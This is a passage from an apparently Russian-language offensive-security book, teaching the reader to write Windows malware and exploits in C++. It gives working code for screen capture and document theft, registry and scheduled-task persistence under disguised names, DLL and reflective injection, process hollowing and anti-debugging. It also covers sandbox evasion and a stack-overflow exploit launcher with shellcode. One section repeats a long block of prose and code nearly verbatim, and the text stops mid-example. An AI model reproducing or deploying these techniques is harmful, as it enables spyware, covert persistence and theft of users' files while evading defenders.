Далее, поговорим о захвате экрана. Если ваша цель - шпионить за действиями пользователя на рабочем столе, вам нужно скопировать буфер экрана и сохранить его или передать. В Windows это делается с помощью GDI (Graphics Device Interface). Вы можете захватить текущий экран в растровое изображение, создав совместимый с памятью контекст устройства и используя BitBlt() для передачи пиксельных данных с экрана.
Вот упрощенная версия того, как вы можете захватить основной дисплей:

HWND hwnd = GetDesktopWindow();
HDC hdc = GetDC(hwnd);
HDC hdcMem = CreateCompatibleDC(hdc);
RECT rc;
GetClientRect(hwnd, &rc);
int width = rc.right - rc.left;
int height = rc.bottom - rc.top;
HBITMAP hBitmap = CreateCompatibleBitmap(hdc, width, height);
SelectObject(hdcMem, hBitmap);BitBlt(hdcMem, 0, 0, width, height, hdc, 0, 0, SRCCOPY);
// At this point, hBitmap contains the screen image


Теперь вы можете использовать GDI+ или стороннюю библиотеку для кодирования hBitmap в формат PNG или JPEG, а затем записать его на диск или отправить по сетевому соединению. Для частых снимков вы можете уменьшить разрешение или использовать сжатие JPEG для экономии пропускной способности.
Наконец, кража файлов заключается в идентификации ценных файлов на целевой машине и их тихом извлечении. Обычно это означает нацеливание на папки документов и фильтрацию по расширению: .docx, .pdf, .xls и так далее. Вы рекурсивно обходите файловую систему, выбираете подходящие файлы и затем загружаете их на свой сервер или сохраняете на потом.
Начните с перечисления каталогов:

WIN32_FIND_DATA findFileData;
HANDLE hFind = FindFirstFile("C:\\Users\\Target\\Documents\\*.*",
&findFileData);
do {
if (!(findFileData.dwFileAttributes &
FILE_ATTRIBUTE_DIRECTORY)) {
// handle file}
} while (FindNextFile(hFind, &findFileData) != 0);
FindClose(hFind);


Вы можете использовать CreateFile(), ReadFile() и WriteFile() для открытия, чтения и сохранения содержимого любого файла. Если вы отправляете данные наружу, сначала зашифруйте или закодируйте их - используя что-то вроде base64 или XOR - чтобы избежать обнаружения по сигнатурам во время передачи. Также рекомендуется сжимать большие файлы с помощью чего-то вроде zlib, чтобы минимизировать объем передаваемых данных.
Во всех этих операциях - логировании, захвате, краже - следует избегать записи слишком большого объема данных на диск или хранения необработанных данных в памяти. Используйте буферы, ограничивайте объем собираемых данных за один раз и используйте мьютексы или очереди задач, чтобы ваши модули не конфликтовали за ресурсы. Все это может быть аккуратно обернуто в ваш предыдущий модульный фреймворк, где каждая задача выполняется в своем потоке, под уникальным классом, и сообщает о своих результатах централизованному логгеру или диспетчеру.
По мере прогресса рассмотрите возможность добавления троттлинга в ваши модули - не логируйте клавиши слишком агрессивно, ограничивайте снимки экрана интервалами и устанавливайте лимит на количество файлов, сканируемых за сеанс. Это имитирует поведение реального вредоносного ПО и снижает вероятность срабатывания инструментов безопасности из-за шумных или высокообъемных операций.
Кейлоггинг, снятие скриншотов и кража данных - это основы атакующих действий, но при чистой и тихой реализации они становятся чрезвычайно эффективными инструментами для долгосрочного доступа и сбора информации.

5.3 Персистентность через реестр и запланированные задачи​


Поддержание персистентности - критически важная часть любого атакующего набора инструментов. Если ваше вредоносное ПО или имплант исчезнет после перезагрузки или выхода из системы, вы потеряете свою точку опоры. В C++ вы можете добиться персистентности в Windows, изменяя определенные ключи реестра или создавая запланированные задачи, которые автоматически выполняют вашу полезную нагрузку. Каждый подход имеет свои компромиссы с точки зрения скрытности, долговечности и требуемых привилегий.
Начнем с использования реестра Windows. Реестр - это иерархическая база данных, которая хранит низкоуровневые настройки операционной системы и установленных приложений. Определенные ключи выполняются автоматически во время запуска системы или входа пользователя в систему. Если вы внедрите путь к вашему бинарному файлу вредоносного ПО в один из этих ключей, он будет выполняться каждый раз при загрузке системы или входе пользователя в систему.
Распространенное место для этого:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersi
on\Run


При входе пользователя в систему любые значения под этим ключом выполняются. Таким образом, если вы запишете сюда путь к вашему вредоносному ПО, оно будет запущено незаметно.
Вот как вы можете сделать это на C++ с использованием Windows API:

#include <windows.h>
void add_registry_persistence(const char* exePath) {HKEY hKey;
LONG result = RegOpenKeyExA(HKEY_CURRENT_USER,
"Software\\Microsoft\\Windows\\CurrentVersi
on\\Run",
0, KEY_WRITE, &hKey);
if (result == ERROR_SUCCESS) {
RegSetValueExA(hKey, "Updater", 0, REG_SZ,
(BYTE*)exePath, strlen(exePath) + 1);
RegCloseKey(hKey);
}
}


Эта функция добавляет значение с именем "Updater", которое указывает на указанный вами путь к исполняемому файлу. При следующем входе в систему Windows запустит этот бинарный файл.
Чтобы удалить это, вы можете вызвать RegDeleteValueA для того же ключа с тем же именем.
Теперь, хотя этот метод работает без административных привилегий и довольно прост, он также относительно известен и легко обнаруживается. Большинство антивирусных решений и решений для обнаружения конечных точек внимательно следят за этим ключом реестра.
Для повышения скрытности или улучшения надежности многие злоумышленники используют запланированные задачи через планировщик заданий. Запланированные задачи могут быть созданы для выполнения программ при загрузке, при входе в систему или периодически. Они предоставляют больше гибкости, могут выполняться с повышенными привилегиями и оставляют менее очевидные следы в реестре.
Вы можете создать запланированную задачу на C++, используя утилиту schtasks.exe или напрямую вызывая COM-интерфейс планировщика задач. Для скорости и простоты использование system() с schtasks.exe обычно достаточно:

#include <stdlib.h>
void add_task_persistence(const char* exePath) {
char command[512];
sprintf(command,
"schtasks /create /tn \"WindowsUpdateChecker\" /tr \"%s\" /sc
onlogon /rl highest /f",
exePath);
system(command);
}


Эта команда указывает Windows создать задачу с именем "WindowsUpdateChecker", которая запускает указанный исполняемый файл при входе пользователя с наивысшими привилегиями. Флаг /f принудительно создает задачу, даже если она уже существует.
Чтобы сделать это более скрытным, вы можете назвать задачу чем-то, что выглядит законно, например,

"SecurityHealthUpdate" или "OneDriveSync"

Вы также можете рандомизировать имя задачи или основывать его на текущем имени пользователя или имени хоста, чтобы предотвратить обнаружение по жестко закодированным сигнатурам.
Если вы хотите удалить эту задачу позже, вы можете выполнить:

system("schtasks /delete /tn \"WindowsUpdateChecker\" /f");


Теперь рассмотрите возможность объединения персистентности через реестр и запланированные задачи в вашем фреймворке вредоносного ПО. Если один метод не удастся или будет удален, другой может сохраниться. Вы также можете создать ложные записи - несуществующие пути к файлам - чтобы ввести аналитиков в заблуждение и заставить их потратить время впустую.
Реальное вредоносное ПО часто добавляет дополнительные уровни. Оно может поместить копию себя в скрытый каталог, например C:\ProgramData\WinUpdate\, пометить файл как скрытый и системный, а затем указать реестр или планировщик задач на эту копию вместо оригинала. Это скрывает исполняемый файл от обычного просмотра и добавляет дополнительный шаг для очистки.
Другая тактика - использовать WMI (Windows Management Instrumentation) или ключ реестра AppInit_DLLs (для более старых систем Windows) для внедрения в процессы запуска. Эти методы более продвинуты и требуют более глубоких знаний системы, но могут обеспечить большую скрытность в контролируемых средах.
При реализации этих механизмов персистентности всегда убеждайтесь, что пути к файлам правильно заключены в кавычки (особенно если они содержат пробелы), и тестируйте их на различных версиях Windows - то, что работает на Windows 10 Home, может вести себя иначе на Windows 11 Pro или в корпоративных средах, присоединенных к домену.

На практике вы захотите регистрировать успех или неудачу при применении персистентности, либо на диск, в журнал событий, либо на ваш C2-канал. Таким образом, если настройка не удалась из-за ограничений доступа или защитных мер конечной точки, вы будете знать об этом и сможете попытаться использовать альтернативный метод при следующем обратном вызове.
Персистентность - это о том, чтобы оставаться активным незаметно. Будь то через реестр или запланированные задачи, цель состоит в том, чтобы слиться с окружением и сделать вашу полезную нагрузку похожей на обычную часть системы. Чем менее заметно ваше присутствие, тем дольше может продлиться ваша сессия.

5.4 Инъекция DLL и рефлексивная загрузка​


Один из самых эффективных и широко используемых методов в атакующей разработке - это инъекция DLL. Он позволяет принудительно загрузить динамически подключаемую библиотеку (DLL) по вашему выбору в целевой процесс, фактически выполняя произвольный код в контексте этого процесса. Это особенно полезно для обхода инструментов безопасности конечных точек, скрытия активности от пользователя и поддержания долгосрочного доступа без сброса традиционного исполняемого файла.
Инъекция DLL может быть достигнута различными методами, но наиболее распространенный включает использование функций Windows API, таких как OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread и LoadLibraryA. Давайте рассмотрим базовый пример, демонстрирующий этот метод, часто называемый инъекцией на основе LoadLibrary.
Предположим, у вас есть DLL под названием payload.dll, содержащая вашу вредоносную логику. Чтобы внедрить эту DLL в запущенный процесс, сначала найдите идентификатор процесса (PID) цели. Как только вы его получите, откройте процесс с помощью OpenProcess, используя PROCESS_ALL_ACCESS. Выделите память внутри целевого процесса с помощью VirtualAllocEx, запишите путь к DLL в эту память с помощью WriteProcessMemory, а затем запустите удаленный поток в процессе, который вызывает LoadLibraryA с вашим путем к DLL в качестве аргумента.
Вот как это выглядит на C++:

#include <windows.h>
#include <tlhelp32.h>
bool inject_dll(DWORD pid, const char* dll_path) {
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS,
FALSE, pid);
if (!hProcess) return false;
void* allocMem = VirtualAllocEx(hProcess, nullptr, strlen(dll_path)
+ 1,
MEM_RESERVE | MEM_COMMIT,
PAGE_READWRITE);if (!allocMem) return false;
WriteProcessMemory(hProcess, allocMem, dll_path,
strlen(dll_path) + 1, nullptr);
HANDLE hThread = CreateRemoteThread(hProcess, nullptr, 0,
(LPTHREAD_START_ROUTINE)LoadLibrary
A, allocMem, 0, nullptr);
if (!hThread) return false;
CloseHandle(hThread);
CloseHandle(hProcess);
return true;
}


Этот метод надежно работает в большинстве версий Windows, но имеет один существенный недостаток: он оставляет следы. Поскольку LoadLibraryA обращается к диску для загрузки DLL, такие инструменты, как Sysmon или продукты EDR, могут обнаружить внедрение и выдать предупреждение на основе подозрительных загрузок DLL или вновь созданных потоков.
Чтобы уменьшить этот след и полностью избежать операций ввода-вывода на диске, злоумышленники используют более продвинутый метод, называемый отражаемым внедрением DLL (reflective DLL injection). Вместо записи DLL на диск и ее загрузки с помощью LoadLibrary, вы внедряете DLL в память и вручную отображаете ее в удаленном процессе, включая разрешение импортов, перемещение адресов и вызов точки входа - все это из памяти.
Этот подход был популяризирован фреймворком Stephen Fewer’s Reflective DLL Injection. Он включает встраивание всего бинарного файла DLL в ваш загрузчик и самостоятельную обработку внутренней логики загрузки. Вам необходимо понимать формат PE (Portable Executable) и шаги, которые выполняет загрузчик Windows при отображении DLL.
Отражаемое внедрение DLL обычно требует компиляции вашей DLL с пользовательской точкой входа, которая знает, как обрабатывать отражение. Как правило, вы помещаете образ DLL в буфер памяти, копируете его в удаленный процесс с помощью VirtualAllocEx и WriteProcessMemory, а затем запускаете его с помощью CreateRemoteThread, указывая на заглушку отражающего загрузчика внутри вашего полезной нагрузки.
Упрощенный отражающий загрузчик может выглядеть следующим образом в вашем инжекторе:

void* buffer = /* ваш скомпилированный образ DLL в памяти */;
DWORD dll_size = /* размер образа DLL */;
void* remoteBuffer = VirtualAllocEx(hProcess, nullptr, dll_size,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProcess, remoteBuffer, buffer, dll_size, nullptr);
// Запустить удаленный поток в точке входа отражающего загрузчика
CreateRemoteThread(hProcess, nullptr, 0,(LPTHREAD_START_ROUTINE)remoteBuffer, nullptr, 0, nullptr);


Это полностью исключает обращение к файловой системе, что значительно затрудняет обнаружение или анализ. Конечно, это требует более глубокого понимания формата PE и внутренних механизмов загрузчика, включая то, как исправлять перемещения, разрешать таблицы импорта и выполнять код инициализации.
Вы также можете применить шифрование к образу DLL в памяти, расшифровывая его только во время выполнения перед внедрением. Это еще больше обфусцирует полезную нагрузку и помогает обойти средства безопасности, сканирующие память.
Некоторые современные семейства вредоносных программ и инструменты для пентестинга используют модульные отражающие загрузчики, где каждый компонент зашифрован и загружается только при необходимости. Они поддерживают загрузку плагинов (также DLL) в текущие или удаленные процессы и позволяют динамически обновлять возможности. Именно так такие инструменты, как Cobalt Strike или Empire, поддерживают расширяемость и скрытность.
Наконец, реальным примером является meterpreter от Metasploit, который поддерживает отражаемое внедрение DLL и широко использовался в операциях пентестинга. В сочетании с загрузчиками шеллкода, такими как msfvenom, вы можете доставить отражаемую DLL в виде полезной нагрузки в памяти через множество векторов - файловые эксплойты, фишинговые документы или ошибки повреждения памяти.
Независимо от того, разрабатываете ли вы импланты, загрузчики или стаггеры шеллкода, освоение как базовых техник внедрения DLL, так и техник отражающей загрузки дает вам мощное преимущество в создании скрытных, модульных инструментов для атакующих. Просто помните, что отражающие загрузчики должны создаваться с осторожностью, тестироваться на разных версиях ОС и проверяться с помощью отладки, чтобы гарантировать, что они не вызовут сбой целевого процесса. Каждый байт, который вы внедряете, имеет значение.

5.5 Антиотладка, внедрение в процессы и тактики скрытности​


При разработке вредоносного ПО или инструментов для атакующих на C++ одним из ваших приоритетов является обеспечение того, чтобы они работали незамеченными и бесперебойно как можно дольше. Для достижения этой цели вам необходимо решить три важные области: остановка или запутывание отладчиков, внедрение кода в другие процессы для избежания обнаружения и применение тактик скрытности для снижения вашей видимости в системе.
Давайте рассмотрим каждую из этих областей с реальными практическими знаниями.
Начнем с антиотладки. Отладчики - это инструменты, используемые аналитиками и реверс-инженерами для изучения поведения вредоносного ПО. Если ваша полезная нагрузка может обнаружить, что она отлаживается, она может остановить выполнение, вести себя иначе или вызвать вводящую в заблуждение логику.
Один из самых простых методов - использование IsDebuggerPresent() из Windows API:

#include <windows.h>
if (IsDebuggerPresent()) {
ExitProcess(0);
}
Это проверяет флаг в блоке среды процесса (PEB). Это быстро, но также тривиально обойти. Для большей устойчивости читайте PEB напрямую:
bool check_peb_being_debugged_flag() {BOOL isDebugged = false;
__asm {
mov eax, fs:[30h]
movzx eax, byte ptr [eax+2]
mov isDebugged, eax
}
return isDebugged;
}


Эта встроенная ассемблерная вставка читает флаг BeingDebugged из PEB без вызова какого-либо API высокого уровня, что затрудняет его перехват отладчиками.
Другой эффективный метод - проверка программных точек останова. Большинство отладчиков устанавливают точки останова, вставляя опкод 0xCC. Вы можете сканировать свой код на наличие 0xCC и завершить работу, если найдете его. Более продвинутые проверки включают анализ времени с использованием QueryPerformanceCounter или GetTickCount для обнаружения того, приостанавливается ли выполнение дольше, чем ожидалось, что обычно происходит при пошаговом выполнении кода.
Теперь перейдем к внедрению в процессы, что является актом выполнения вашего кода в адресном пространстве другого процесса. Это позволяет вам скрываться за легитимными системными процессами, такими как explorer.exe или svchost.exe. Один из распространенных подходов - выпотрошение процесса (process hollowing).
При выпотрошении процесса вы создаете легитимный процесс в приостановленном состоянии с помощью CreateProcess с флагом CREATE_SUSPENDED. Затем вы разворачиваете его память с помощью NtUnmapViewOfSection, выделяете новую память с помощью VirtualAllocEx, записываете свою полезную нагрузку в эту память, устанавливаете точку входа с помощью SetThreadContext, а затем возобновляете процесс.
Вот примерная идея в упрощенной форме:

STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcess("C:\\Windows\\System32\\notepad.exe", NULL, NULL,
NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// развернуть исходные секции, записать полезную нагрузку, исправить точку входа,
// возобновить поток


Другая форма внедрения - угон потока (thread hijacking), при котором вы приостанавливаете поток в работающем процессе, изменяете его указатель инструкций, чтобы он указывал на ваш шеллкод, а затем возобновляете его. Этого можно достичь с помощью SuspendThread, GetThreadContext, SetThreadContext и ResumeThread.
Если вы ищете что-то более тихое, внедрение APC (Asynchronous Procedure Call) ставит в очередь функцию для выполнения, когда поток входит в оповещаемое состояние, используя QueueUserAPC. Это менее надежно для немедленного выполнения, но более скрытно.

В заключение, вам необходимо применять тактики скрытности, чтобы избежать поведенческого обнаружения. Это включает такие тактики, как:

  • ● Обфускация строк с использованием простого XOR-шифрования для скрытия индикаторов, таких как "cmd.exe", "CreateRemoteThread" или IP-адресов, от сканеров памяти.
  • ● Использование динамически разрешаемых вызовов API вместо статической компоновки. Вы можете использовать GetProcAddress и LoadLibrary, чтобы избежать включения читаемых имен функций в ваш бинарный файл.
  • ● Избегание высокочастотных или шумных операций, таких как запись множества файлов или изменение чувствительных ключей реестра, если это не необходимо.
  • ● Рандомизация имен файлов, мьютексов, имен ключей реестра и имен задач для избежания обнаружения инструментами на основе сигнатур.
  • ● Задержка выполнения с использованием Sleep или WaitForSingleObject, особенно для уклонения от песочниц. Многие песочницы сдаются, если программа ничего не делает в течение первых 30 секунд.


Практическим примером скрытности в действии может быть вредоносный имплант, который проверяет наличие отладчиков, внедряется отражающим образом в explorer.exe, ничего не сохраняет на диск, шифрует свое взаимодействие с C2-сервером и расшифровывает свою полезную нагрузку в памяти только после подтверждения того, что за ним не наблюдают. Такое поведение вызывает ужас у аналитиков, поскольку оно оставляет очень мало криминалистических следов и позволяет избежать всех обычных мест, где ищут защитники.
При создании инструментов для атакующих стратегически комбинируйте эти методы. Используйте проверки антиотладки на раннем этапе, внедряйтесь в чистый процесс для выполнения, а также используйте шифрование и обфускацию на протяжении всего процесса. С этими техниками ваш вредоносный код становится намного сложнее отследить, разобрать или остановить.


Глава 6 - Разработка реальных эксплойтов​


При создании инструментов для атакующих на C++ понимание того, как работают реальные эксплойты, не просто опционально - это необходимо. Эксплойты - это мост между обнаружением уязвимости и полным контролем над системой.
На этом этапе книги вы уже работали с памятью, техниками внедрения, шеллкодом и персистентностью. Теперь пришло время сосредоточиться на том, как уязвимости в программах на C и C++ используются для получения контроля над выполнением.
Эта глава исследует, как выявлять уязвимые места в нативных приложениях, писать эксплойты на основе стека, манипулировать строками формата, ломать кучу (heap) и создавать цепочки возвратно-ориентированного программирования (ROP) - все это с использованием C++ в качестве инструмента для автоматизации, интеграции шеллкода и пост-эксплуатационных полезных нагрузок. Каждый раздел посвящен реальным техникам, используемым злоумышленниками в дикой природе, а не только теоретическим выкладкам.
Вы будете писать эксплойты не просто для практики. Вы развиваете набор навыков, который помогает вам понять, как полезные нагрузки вписываются в реальную цепочку атак и как современная разработка эксплойтов работает вместе с инструментами C++, отладкой и доставкой пользовательского шеллкода.

6.1 Анализ и эксплуатация уязвимостей C/C++​


При работе с низкоуровневыми уязвимостями ваша задача - понять, как данные взаимодействуют с памятью. Небезопасный код на C и C++ часто делает опасные предположения о размере ввода, границах памяти или валидности указателей. Эти предположения создают лазейки, где происходит эксплуатация.
Первым шагом всегда является анализ исходного кода, если он доступен. Вы ищете любое место, где недоверенный ввод достигает таких функций, как strcpy, sprintf, или операций с памятью, таких как memcpy. Эти стандартные функции не проверяют границы, поэтому они полностью полагаются на осторожность программиста. Если есть хоть малейший шанс, что пользовательский ввод может превысить ожидаемый размер буфера, этот код становится уязвимым для эксплуатации.
Давайте рассмотрим простую уязвимую C-программу, которая принимает ввод из командной строки и копирует его в локальный буфер.

#include <stdio.h>
#include <string.h>
void greet(char *name) {
char buffer[64];
strcpy(buffer, name);
printf("Hello, %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc != 2) {printf("Usage: %s <name>\n", argv[0]);
return 1;
}
greet(argv[1]);
return 0;
}


На первый взгляд это выглядит безобидно, но вызов strcpy не имеет ограничения на количество копируемых символов. Если вы передадите этой программе более 64 байт, переполнение перезапишет адрес возврата в стеке. Оттуда вы можете перенаправить выполнение на шеллкод или цепочку ROP.
Чтобы понять, как эта уязвимость ведет себя в памяти, скомпилируйте программу без защит стека и запустите ее с вводом, который переполняет буфер. Инструменты, такие как GDB, x64dbg или WinDbg, позволяют вам исследовать раскладку стека до и после переполнения.
После того как вы подтвердите сбой, следующим шагом будет определение точного смещения до адреса возврата. Вы можете использовать циклический генератор шаблонов и искать перезаписанный адрес в отладчике. Как только вы получите контроль над указателем инструкций, вы сможете перенаправить выполнение.
C++ помогает автоматизировать и оркестрировать эти шаги. Вот простая программа на C++, которая генерирует длинный буфер из 200 символов и запускает уязвимую программу с этим вводом.

#include <windows.h>
#include <iostream>
#include <string>
int main() {
std::string payload(200, 'A'); // Переполнение буфера
std::string command = "vuln.exe " + payload;
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
if (CreateProcess(NULL, const_cast<char*>(command.c_str()),
NULL, NULL, FALSE,
CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);CloseHandle(pi.hThread);
} else {
std::cerr << "Failed to launch exploit.\n";
}
return 0;
}


Этот простой обертка делает ваш эксплойт более повторяемым. Вместо ручного ввода длинных строк вы можете программно настроить размер полезной нагрузки и тестировать вариации, пока не достигнете адреса возврата.
Помимо переполнения буфера, существует множество других распространенных ошибок в C/C++, которые стоит анализировать. Ошибки на единицу (off-by-one), условия использования после освобождения (use-after-free), разыменования нулевого указателя и путаница типов - все это частые источники нестабильности в нативных приложениях. Ваша задача - заметить, где логика программы предполагает, что что-то безопасно, но ввод, контролируемый пользователем, доказывает обратное.
Другой реальный случай включает переполнение структур. Когда программа выделяет структуру в стиле C и заполняет ее пользовательским вводом, она может перезаписать соседние поля или указатели на функции. Допустим, у вас есть следующая структура в уязвимом приложении:

struct user {char name[64];
int privilege_level;
};


Если код заполняет поле name неограниченным вводом, поле privilege_level может быть перезаписано любым значением. Обычный пользователь может превратить себя в администратора, просто переполнив свое собственное поле имени.
Что делает C и C++ особенно уязвимыми, так это отсутствие встроенных защит. Эти языки дают вам прямой доступ к памяти, но не мешают вам злоупотреблять ею. Это компромисс: вы получаете скорость и мощь, но несете ответственность за безопасное управление памятью. Большинство разработчиков сосредоточены на функциях и сроках, поэтому они пишут код, который компилируется и работает в ожидаемых условиях. Злоумышленники пишут ввод, который ломает его в неожиданных условиях.
Как программист атакующей стороны, вы создаете инструменты, которые анализируют эти неожиданные пути. Вы пишете фаззеры, которые генерируют некорректный ввод. Вы используете скрипты на C++ для мониторинга использования памяти, перехвата вывода и проверки возможности эксплуатации. Вам не нужны экзотические 0-day для практики - существуют приложения с открытым исходным кодом, CTF-задачи и намеренно уязвимое программное обеспечение, разработанное для этой цели.

Потратьте время на изучение известных CVE и посмотрите, как они были использованы. Изучите примеры, такие как CVE-2017-0143 (EternalBlue) или CVE-2018-8174 (VBScript UAF), где корневыми причинами были классические ошибки в управлении памятью. Они написаны на C и C++, и их разбор научит вас реальным шаблонам, которые вы будете видеть снова и снова.
В области атакующей безопасности написание надежных эксплойтов - это навык, который вы развиваете по одной ошибке за раз. Вы находите уязвимость, изучаете, как память реагирует на некорректный ввод, изолируете контроль над выполнением, а затем связываете это с полезной нагрузкой. C++ - это язык, который помогает вам писать эти полезные нагрузки и связывать все воедино.
Эта основа анализа уязвимостей позволяет вам двигаться вперед. Отсюда вы будете писать эксплойты на основе стека, манипулировать строками формата и исследовать продвинутые атаки на кучу. Все начинается с понимания того, где код дает сбой - и использования этого сбоя в своих интересах.

6.2 Написание эксплойтов на основе стека​


Переполнение буфера на основе стека - один из старейших и наиболее мощных векторов атак в низкоуровневой эксплуатации. Оно происходит, когда программа записывает в буфер стека больше данных, чем было выделено для него, что приводит к тому, что переполнение повреждает соседнюю память - в первую очередь, сохраненный адрес возврата. Как только вы сможете контролировать этот адрес возврата, вы фактически угоняете поток управления приложения.
Чтобы понять, как это работает на практике, вам нужно начать с визуализации того, как выглядит стек во время вызова функции. Когда вызывается функция, локальные переменные выделяются в стеке. Прямо над ними находится сохраненный базовый указатель, а еще выше - адрес возврата. Если вы сможете переполнить локальный буфер и добраться до адреса возврата, вы можете перезаписать его любым желаемым адресом. Этот адрес может указывать на шеллкод, цепочку ROP или даже системный вызов.

Возьмем базовый пример на C, который послужит уязвимой целью.#include <stdio.h>

#include <string.h>
void get_input(char *user_input) {
char buffer[64];
strcpy(buffer, user_input);
printf("Input received: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
get_input(argv[1]);return 0;
}


Эта программа содержит неограниченный вызов strcpy в локальный буфер стека.
Проверка длины отсутствует, поэтому все, что превышает 64 байта, начнет повреждать соседнюю память. В конечном итоге, если ввод достаточно длинный, он достигнет сохраненного адреса возврата. Перезапись этого адреса позволяет вам угонять поток выполнения.
Вы можете протестировать это, скомпилировав программу в Linux с отключенными защитами:

gcc -fno-stack-protector -z execstack -no-pie -o stack_vuln stack_vuln.c


При запуске программы с 80 или 100 символами она завершится с ошибкой. Вы можете использовать GDB и циклический шаблон для поиска точного смещения до адреса возврата.
Инструменты, такие как pattern_create и pattern_offset из Metasploit, могут помочь вам определить, сколько байт требуется для получения контроля.
Как только вы узнаете смещение, следующим шагом будет создание полезной нагрузки, которая включает заполнение (padding), новый адрес возврата и, возможно, шеллкод.
В реальной атаке вы обычно хотите, чтобы адрес возврата указывал на место в памяти, где находится ваш шеллкод. Если на стеке доступно исполняемое пространство, вы можете поместить шеллкод непосредственно в переполнение.
Вот простой пример того, как может выглядеть такая полезная нагрузка в лаунчере на C++.

#include <stdio.h>
#include <string.h>
void get_input(char *user_input) {
char buffer[64];
strcpy(buffer, user_input);
printf("Input received: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
get_input(argv[1]);return 0;
}


Эта программа содержит необусловленный вызов strcpy в локальный буфер стека.
Отсутствует проверка длины, поэтому любой ввод длиной более 64 байт начнет перезаписывать смежную память. В конечном итоге, если ввод будет достаточно длинным, он достигнет сохраненного адреса возврата. Перезапись этого адреса позволяет перехватить поток выполнения.
Вы можете протестировать это, скомпилировав программу в Linux с отключенными защитами:
gcc -fno-stack-protector -z execstack -no-pie -o stack_vuln stack_vuln.c

При запуске программы с 80 или 100 символами она завершится с ошибкой. Вы можете использовать GDB и циклический шаблон для определения точного смещения до адреса возврата.
Инструменты, такие как pattern_create и pattern_offset из Metasploit, могут помочь вам определить, сколько байт требуется для получения контроля.
Как только вы узнаете смещение, следующим шагом будет создание полезной нагрузки (payload), включающей заполнение (padding), новый адрес возврата и, опционально, шеллкод (shellcode).
В реальной атаке вы, как правило, захотите, чтобы адрес возврата указывал на место в памяти, где находится ваш шеллкод. Если в стеке доступно исполняемое пространство, вы можете разместить шеллкод непосредственно в переполнении.
Вот простой пример того, как может выглядеть такая полезная нагрузка в лаунчере на C++.

#include <windows.h>
#include <iostream>
#include <string>

int main() {
    // Заполнение для достижения адреса возврата
    std::string padding(72, 'A');
    // Перезапись EIP адресом шеллкода
    unsigned int ret = 0x00401520; // Пример адреса (должен быть скорректирован для каждого бинарного файла)
    // Пример шеллкода для запуска calc.exe (Windows 32-бит)
    unsigned char shellcode[] =
        "\x31\xc0\x50\x68\x63\x61\x6c\x63\x54\xb8\xc7\x93\xc2\x77\xff\xd0";

    // Формирование полной полезной нагрузки
    std::string payload = padding;
    payload.append(reinterpret_cast<char*>(&ret), sizeof(ret));
    payload.append(reinterpret_cast<char*>(shellcode), sizeof(shellcode) - 1);

    // Запуск уязвимого бинарного файла с полезной нагрузкой в качестве аргумента
    std::string command = "stack_vuln.exe \"" + payload + "\"";
    STARTUPINFOA si = { sizeof(si) };
    PROCESS_INFORMATION pi;

    if (CreateProcessA(NULL, const_cast<char*>(command.c_str()),
                       NULL, NULL, FALSE,
                       CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) {
        WaitForSingleObject(pi.hProcess, INFINITE);
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);
    } else {
        std::cerr << "Exploit failed to launch.\n";
    }

    return 0;
}


Этот код автоматизирует все: он создает буфер с правильным заполнением, внедряет шеллкод и запускает целевой бинарный файл. Так происходит переход от теоретической эксплуатации к рабочему, воспроизводимому инструменту.
Если в системе включены такие защиты, как DEP или ASLR, вам придется адаптироваться. DEP делает стек неисполняемым, что означает, что размещение шеллкода непосредственно в переполнении не сработает. В таких случаях вам придется использовать ROP для вызова функций, изменяющих права доступа к памяти, таких как VirtualProtect, перед переходом к вашей полезной нагрузке.
Это подробно рассматривается далее в книге, но даже базовые эксплойты, основанные на переполнении стека, могут быть успешными на неправильно сконфигурированных или устаревших целях.
В реальных сценариях переполнения стека встречаются в сетевых демонах, коде парсинга, обработчиках файловых форматов и любом коде, который бездумно копирует ввод. Многие встраиваемые устройства и проприетарное программное обеспечение компилируются с минимальной защитой, что делает их отличными целями.
Один из исторических примеров - уязвимость в сервере Wu-ftpd, где некорректно обработанное переполнение буфера в команде SITE EXEC позволяло неаутентифицированное удаленное выполнение кода. Злоумышленники использовали тщательно сконструированные входные данные для перезаписи адреса возврата и выполнения произвольного шеллкода, отправленного по сети. Этот эксплойт, как и пример, который вы создали, полагался на определение смещения, размещение шеллкода и перенаправление управления.
Ваша цель при написании эксплойтов для стека - надежность. Вы хотите, чтобы ваша полезная нагрузка выполнялась одинаково каждый раз, не вызывая сбоев процесса и не промахиваясь по цели. Это требует тщательного расчета смещения, выравнивания стека и точного контроля каждого байта после точки переполнения.
По мере создания более продвинутых полезных нагрузок вы научитесь обходить современные средства защиты, связывать гаджеты с помощью ROP и внедрять код в удаленные процессы. Но все начинается с освоения стека - и написание эксплойтов для стека является отправной точкой для этого мастерства.

6.3 Уязвимости форматированных строк (Format String Vulnerabilities)​


Когда программа выводит пользовательский ввод через функции форматированного вывода, такие как printf, fprintf или snprintf, без проверки этого ввода, это открывает дверь для уязвимостей форматированных строк. Эти уязвимости позволяют злоумышленникам читать или записывать произвольную память, что часто приводит к полному контролю над процессом.
Опасность начинается, когда разработчик использует printf(user_input) вместо printf("%s", user_input). Первая форма интерпретирует ввод как строку формата, а не просто как сырые данные. Это означает, что специальные символы, такие как %x, %n или %s внутри входной строки, будут интерпретированы как спецификаторы формата, а не как содержимое. И поскольку спецификаторы формата напрямую связаны с адресами памяти, передаваемыми в стеке, вы можете контролировать чтение или запись данных, манипулируя этими спецификаторами.
Вот уязвимая функция на C, иллюстрирующая эту проблему.

#include <stdio.h>
#include <stdlib.h>

void display(char *input) {
    printf(input);
    printf("\n");
}

int main(int argc, char *argv[]) {
    if (argc != 2) {
        printf("Usage: %s <string>\n", argv[0]);
        return 1;
    }
